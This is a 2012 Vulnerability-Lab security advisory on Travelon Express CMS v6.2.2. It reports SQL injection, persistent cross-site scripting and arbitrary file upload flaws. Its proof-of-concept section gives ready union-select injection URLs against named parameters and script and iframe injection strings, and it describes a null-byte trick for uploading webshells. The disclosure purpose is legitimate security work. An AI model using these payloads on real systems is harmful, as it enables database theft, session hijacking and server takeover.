224 lines
No EOL
7.8 KiB
Text
Executable file
224 lines
No EOL
7.8 KiB
Text
Executable file
Title:
|
||
======
|
||
Travelon Express CMS v6.2.2 - Multiple Web Vulnerabilities
|
||
|
||
|
||
Date:
|
||
=====
|
||
2012-05-10
|
||
|
||
|
||
References:
|
||
===========
|
||
http://www.vulnerability-lab.com/get_content.php?id=530
|
||
|
||
|
||
VL-ID:
|
||
=====
|
||
530
|
||
|
||
|
||
Common Vulnerability Scoring System:
|
||
====================================
|
||
8.1
|
||
|
||
|
||
Introduction:
|
||
=============
|
||
Travelon Xpress 6.2.2 is an exclusive product created for all travel agencies across the globe.
|
||
The script is coded in PHP/ MySQL and is highly customizable by the admin.
|
||
|
||
Feature(s):
|
||
|
||
No Encryption.
|
||
No Callback.
|
||
Book domestic flights.
|
||
Book international flights.
|
||
Book domestic hotels.
|
||
Book international hotels.
|
||
Search by country/city
|
||
Vacation package listing.
|
||
Different price range for different luxury level.
|
||
Online payment system.
|
||
Unlimited images of hotels.
|
||
Hotel room description for different luxury level.
|
||
Hotel room facilities.
|
||
Different price for business and economy class flights.
|
||
Different price for different age group.
|
||
Advanced holiday package listing.
|
||
Unlimited image upload for holiday places.
|
||
Holiday plan for each day of vacation.
|
||
Price difference for different places.
|
||
Price difference for deluxe and standard class.
|
||
Add/edit/delete hotels.
|
||
Add/edit/delete hotel rooms.
|
||
Add/edit/delete airlines.
|
||
Add/edit/delete flights.
|
||
Add/edit/delete holiday packages.
|
||
Booking approval by admin.
|
||
Unlimited number of custom page category.
|
||
Unlimited number of custom pages.
|
||
Unlimited number of FAQ category.
|
||
Unlimited number of FAQ.
|
||
Custom pages for about us, terms and privacy policy.
|
||
Display banner for advertise.
|
||
Cancel booking by user/admin.
|
||
Refund request approved by admin.
|
||
Template based design.
|
||
Ajax based interface.
|
||
|
||
(Copy of the Vendor Homepage: http://itechscripts.com/travelon_xpress.html )
|
||
|
||
|
||
Abstract:
|
||
=========
|
||
The Vulnerability Laboratory Research Team discovered multiple Web Vulnerabilities in Travelon Express CMS v6.2.2.
|
||
|
||
|
||
Report-Timeline:
|
||
================
|
||
2012-05-10: Public or Non-Public Disclosure
|
||
|
||
|
||
Status:
|
||
========
|
||
Published
|
||
|
||
|
||
Exploitation-Technique:
|
||
=======================
|
||
Remote
|
||
|
||
|
||
Severity:
|
||
=========
|
||
Critical
|
||
|
||
|
||
Details:
|
||
========
|
||
1.1
|
||
Multiple remote SQL Injection vulnerabilities are detected in Travelon Express CMS v6.2.2. The vulnerability
|
||
allows an attacker (remote) or local low privileged user account to inject/execute own sql commands on the
|
||
affected application dbms. Successful exploitation of the vulnerability results in dbms & application compromise.
|
||
The vulnerabilities are located on the application values, parameter & requests of hid, cid, id & fid.
|
||
|
||
Vulnerable Module(s):
|
||
[+] holiday.php?hid
|
||
[+] pages.php?id
|
||
[+] holiday_book.php?hid
|
||
[+] admin/airline-edit.php?fid
|
||
[+] admin/customer-edit.php?cid
|
||
|
||
1.2
|
||
Multiple persistent input validation vulnerabilities are detected in Travelon Express Version 6.2.2. The bugs
|
||
allow remote attackers to implement/inject malicious script code on the application side (persistent). Successful
|
||
exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent) context
|
||
manipulation. Exploitation requires low user inter action & privileged user account.
|
||
|
||
Vulnerable Module(s):
|
||
[+] holiday_add.php - holiday name
|
||
[+] holiday_view.php- holiday name
|
||
|
||
1.3
|
||
An arbitrary file upload vulnerability is detected in Travelon Express Version 6.2.2. The vulnerability allows an
|
||
the privileged attacker(admin rights) to upload malicious files (webshells). The attacker can upload .php .exe .asp
|
||
files to the web server. Successful exploitation of the vulnerability can lead to web shell or malicious program
|
||
uploads. Exploitation requires privileged user account. An attacker can upload 2 filename extensions with %00 and
|
||
delete the last part to execute the file code.
|
||
|
||
|
||
Vulnerable Module(s):
|
||
[+] airline-edit.php?fid
|
||
[+] hotel-image-add.php
|
||
[+] hotel-add.php
|
||
|
||
|
||
Proof of Concept:
|
||
=================
|
||
1.1
|
||
The sql injection vulnerabilities can be exploited by remote attacker without required user inter action.
|
||
2 of the vulnerabilities are located on the control panel. To exploit both its required to have privileged
|
||
application accounts like moderator, super mod or administrator. For demonstration or reproduce ...
|
||
|
||
PoC:
|
||
/holiday.php?hid=2[-2+union+select+1,2,3,group_concat(table_name),5,6,7,8+from+information_schema.tables+where+table_schema=database()--%20-]
|
||
/pages.php?id=1[-2+union+select+1,2,3,group_concat(table_name),5,6,7,8+from+information_schema.tables+where+table_schema=database()--%20-]
|
||
/holiday_book.php?hid=1[-2+union+select+1,2,3,group_concat(table_name),5,6,7,8+from+information_schema.tables+where+table_schema=database()--%20-]
|
||
|
||
/admin/airline-edit.php?fid=1[-2+union+select+1,2,3,group_concat(table_name),5,6,7,8+from+information_schema.tables+where+table_schema=database()--%20-]
|
||
/admin/customer-edit.php?cid=1[-2+union+select+1,2,3,group_concat(table_name),5,6,7,8+from+information_schema.tables+where+table_schema=database()--%20-]
|
||
|
||
|
||
1.2
|
||
The persistent input validation vulnerabilities can be exploited by remote attackers with low required
|
||
user inter action & privileged user account. For demonstration or reproduce ...
|
||
|
||
PoC:
|
||
admin/holiday_add.php - holiday name
|
||
admin/holiday_view.php- holiday name
|
||
|
||
holiday name => Insert the following test strings & save the input ...
|
||
|
||
><3E><ScriPt>ALeRt("VlAb")</scriPt>
|
||
>"<IfRaMe sRc=hTtp://vulnerability-lab.com></IfRaMe>
|
||
|
||
... now switch to the listing & output page of the holidayname were it is getting executed out of the context.
|
||
|
||
|
||
1.3
|
||
The file upload bypass vulnerability can be exploited by remote attackers with privileged user account.
|
||
For demonstration or reproduce ...
|
||
|
||
PoC:
|
||
admin/airline-edit.php?fid
|
||
admin/hotel-image-add.php
|
||
admin/hotel-add.php
|
||
|
||
Reference(s):
|
||
http://travelon.xxx.com/upload/holiday/hi9223test.php
|
||
|
||
|
||
Risk:
|
||
=====
|
||
1.1
|
||
The security risk of the sql injection vulnerabilities are estimated as critical.
|
||
|
||
1.2
|
||
The security risk of the persistent input validation vulnerabilities are estimated as medium.
|
||
|
||
1.3
|
||
The security risk of the arbitrary file upload vulnerability is estimated as medium(-).
|
||
|
||
|
||
Credits:
|
||
========
|
||
Vulnerability Research Laboratory - the_storm (the_storm@vulnerability-lab.com) [iel-sayed.blogspot.com]
|
||
|
||
|
||
Disclaimer:
|
||
===========
|
||
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
|
||
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
|
||
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
|
||
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
|
||
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
|
||
may not apply.
|
||
|
||
Domains: www.vulnerability-lab.com - www.vuln-lab.com
|
||
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com
|
||
Contact: admin@vulnerability-lab.com - support@vulnerability-lab.com - irc.vulnerability-lab.com
|
||
|
||
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
|
||
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of
|
||
other media, are reserved by Vulnerability-Lab Research Team or its suppliers.
|
||
|
||
Copyright <20> 2012 Vulnerability-Lab
|
||
|
||
|
||
|
||
|
||
--
|
||
VULNERABILITY RESEARCH LABORATORY TEAM
|
||
Website: www.vulnerability-lab.com
|
||
Mail: research@vulnerability-lab.com |